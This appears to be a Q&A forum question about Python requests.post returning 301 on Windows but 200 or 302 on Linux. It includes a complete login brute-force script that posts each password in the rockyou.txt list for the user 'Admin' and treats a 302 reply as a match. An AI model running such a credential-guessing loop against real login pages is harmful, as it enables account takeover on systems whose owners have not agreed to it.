title: Python Requests.Post - Windows returns 301 status code, Linux 200/302
body: <p>So I'm trying to bruteforce the Username/Password combo on a friend's website (which I am allowed to do) and I was doing it in a way that if the <code>status_code</code> that the <code>requests.post</code> function returned was <strong>200 (Ok)</strong> it would be an unsuccessful attempt and if it returned <strong>302 (Found)</strong> it would be successful. (This was the way the website reacted when I logged in correctly and incorrectly).</p>
  
  <p>Now I was doing this on Linux before, where it was working, but I had to switch back to Windows and now it's always returning <strong>301 (Moved Permanently)</strong>. <code>allow_redirects</code> is set to <code>False</code> in both cases, so I have no idea what's going on.</p>
  
  <p>Here's the full code:</p>
  
  <pre><code>import requests
  url = 'BLAHBLAHBLAH.com/login.php'
  
  
  username = 'Admin'
  passwords = open('rockyou.txt', 'r', encoding='unicode_escape').read().split("\n")
  
  for password in passwords:
      try:
          response = requests.post(url, allow_redirects=False, data={'username': username, 'password': password})
          login = "'" + username + "' : '" + password + "'"
          print("Trying " + login)
  
          print(response.status_code)
  
          if response.status_code == 302:
              print('Match found - ' + login)
              break
          elif response.status_code == 200:
              pass
          else:
              pass
      except Exception as e:
          print(str(e))
  </code></pre>